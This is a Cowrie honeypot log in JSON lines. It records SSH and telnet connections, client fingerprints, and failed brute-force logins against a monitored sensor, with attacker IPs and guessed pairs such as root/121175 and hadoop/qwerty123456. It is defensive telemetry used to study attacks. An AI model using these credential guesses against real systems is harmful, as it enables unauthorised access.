{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":58352,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b4b93a454ec","protocol":"telnet","message":"New connection: 183.91.11.226:58352 (159.203.135.109:23) [session: 0b4b93a454ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:50:16.265802Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:50:21.487413Z","src_ip":"8.210.75.243","session":"161a3c237ef1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.567219495773315,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:50:21.728350Z","src_ip":"170.64.224.25","session":"25682fb909c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.860228300094604,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:50:27.544221Z","src_ip":"170.64.224.25","session":"8737e8ee26fe","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:50:29.703296Z","src_ip":"8.210.75.243","session":"c98ae2a99320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"34.4","message":"Connection lost after 34.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:50:32.317831Z","src_ip":"8.210.75.243","session":"c98ae2a99320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.07258129119873,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:50:37.607496Z","src_ip":"107.6.151.170","session":"215dcd5f1ca8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48088,"dst_ip":"10.17.0.5","dst_port":22,"session":"c881031ac43b","protocol":"ssh","message":"New connection: 8.210.75.243:48088 (10.17.0.5:22) [session: c881031ac43b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:50:37.932254Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.146.69","src_port":40618,"dst_ip":"10.17.0.5","dst_port":23,"session":"97e4b0e1617b","protocol":"telnet","message":"New connection: 107.150.146.69:40618 (10.17.0.5:23) [session: 97e4b0e1617b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:50:41.288296Z"}
{"eventid":"cowrie.session.closed","duration":36.431358098983765,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:50:51.684534Z","src_ip":"183.91.11.226","session":"5334d18a7103","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.291290283203125,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:51:00.556946Z","src_ip":"183.91.11.226","session":"0b4b93a454ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":35600,"dst_ip":"10.17.0.5","dst_port":22,"session":"7440ef557d07","protocol":"ssh","message":"New connection: 91.92.40.4:35600 (10.17.0.5:22) [session: 7440ef557d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:51:05.594156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:51:05.600182Z","src_ip":"91.92.40.4","session":"7440ef557d07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:51:05.680756Z","src_ip":"91.92.40.4","session":"7440ef557d07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"qwerty123456","message":"login attempt [hadoop/qwerty123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:51:05.928516Z","src_ip":"91.92.40.4","session":"7440ef557d07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.61639881134033,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:51:06.877382Z","src_ip":"183.91.11.226","session":"e4bf3262fa50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:51:07.010353Z","src_ip":"91.92.40.4","session":"7440ef557d07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.89576458930969,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:51:19.183916Z","src_ip":"107.150.146.69","session":"97e4b0e1617b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":58402,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf12c53bf864","protocol":"telnet","message":"New connection: 107.6.151.170:58402 (159.203.135.109:23) [session: cf12c53bf864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:51:25.087168Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:51:36.940748Z","src_ip":"8.210.75.243","session":"c25c73c64a73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.125945806503296,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:51:58.212974Z","src_ip":"107.6.151.170","session":"cf12c53bf864","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44064,"dst_ip":"10.17.0.5","dst_port":22,"session":"f95685fffc3d","protocol":"ssh","message":"New connection: 8.210.75.243:44064 (10.17.0.5:22) [session: f95685fffc3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:52:18.302213Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":36854,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c3054fdd4ab","protocol":"ssh","message":"New connection: 159.65.58.200:36854 (159.203.135.109:22) [session: 2c3054fdd4ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:52:28.094859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:52:28.296854Z","src_ip":"159.65.58.200","session":"2c3054fdd4ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:52:28.299611Z","src_ip":"159.65.58.200","session":"2c3054fdd4ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40462,"dst_ip":"159.203.135.109","dst_port":23,"session":"65bac3e2d6f0","protocol":"telnet","message":"New connection: 170.64.224.25:40462 (159.203.135.109:23) [session: 65bac3e2d6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:52:28.635042Z"}
{"eventid":"cowrie.login.failed","username":"smirnovs","password":"123456","message":"login attempt [smirnovs/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:52:29.625186Z","src_ip":"159.65.58.200","session":"2c3054fdd4ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:52:31.033651Z","src_ip":"159.65.58.200","session":"2c3054fdd4ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:52:37.942765Z","src_ip":"8.210.75.243","session":"c881031ac43b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56154,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1e8488680a6","protocol":"ssh","message":"New connection: 8.210.75.243:56154 (10.17.0.5:22) [session: e1e8488680a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:52:47.944721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:52:49.830147Z","src_ip":"8.210.75.243","session":"e1e8488680a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":23624,"dst_ip":"10.17.0.5","dst_port":22,"session":"b261b2f7d9a1","protocol":"ssh","message":"New connection: 147.45.199.80:23624 (10.17.0.5:22) [session: b261b2f7d9a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:52:55.652741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:52:55.656832Z","src_ip":"147.45.199.80","session":"b261b2f7d9a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:52:55.746499Z","src_ip":"147.45.199.80","session":"b261b2f7d9a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"121175","message":"login attempt [root/121175] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:52:56.042143Z","src_ip":"147.45.199.80","session":"b261b2f7d9a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:52:57.160351Z","src_ip":"147.45.199.80","session":"b261b2f7d9a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.189.255","src_port":40592,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5723637c648","protocol":"ssh","message":"New connection: 208.109.189.255:40592 (10.17.0.5:22) [session: c5723637c648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:52:58.668895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:52:58.672959Z","src_ip":"208.109.189.255","session":"c5723637c648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:52:58.741079Z","src_ip":"208.109.189.255","session":"c5723637c648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kucoin","password":"Cr@zy#P@ss!W0rd33","message":"login attempt [kucoin/Cr@zy#P@ss!W0rd33] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:52:58.936930Z","src_ip":"208.109.189.255","session":"c5723637c648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:53:00.003977Z","src_ip":"208.109.189.255","session":"c5723637c648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":58040,"dst_ip":"159.203.135.109","dst_port":22,"session":"a62792726900","protocol":"ssh","message":"New connection: 46.19.67.181:58040 (159.203.135.109:22) [session: a62792726900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:53:07.816614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:53:07.820574Z","src_ip":"46.19.67.181","session":"a62792726900","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:53:07.930218Z","src_ip":"46.19.67.181","session":"a62792726900","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"03051981","message":"login attempt [root/03051981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:53:08.258749Z","src_ip":"46.19.67.181","session":"a62792726900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:53:09.381106Z","src_ip":"46.19.67.181","session":"a62792726900","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":33704,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f707f3f9356","protocol":"ssh","message":"New connection: 103.149.28.157:33704 (159.203.135.109:22) [session: 6f707f3f9356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:53:12.867526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:53:12.872018Z","src_ip":"103.149.28.157","session":"6f707f3f9356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:53:13.118707Z","src_ip":"103.149.28.157","session":"6f707f3f9356","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:53:13.854215Z","src_ip":"103.149.28.157","session":"6f707f3f9356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:53:15.101444Z","src_ip":"103.149.28.157","session":"6f707f3f9356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.81409001350403,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:53:30.449003Z","src_ip":"170.64.224.25","session":"65bac3e2d6f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":35996,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d8c74597607","protocol":"ssh","message":"New connection: 8.210.75.243:35996 (10.17.0.5:22) [session: 9d8c74597607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:54:02.530941Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":47954,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bbef4efbea5","protocol":"ssh","message":"New connection: 103.27.238.116:47954 (10.17.0.5:22) [session: 9bbef4efbea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:54:03.820871Z"}
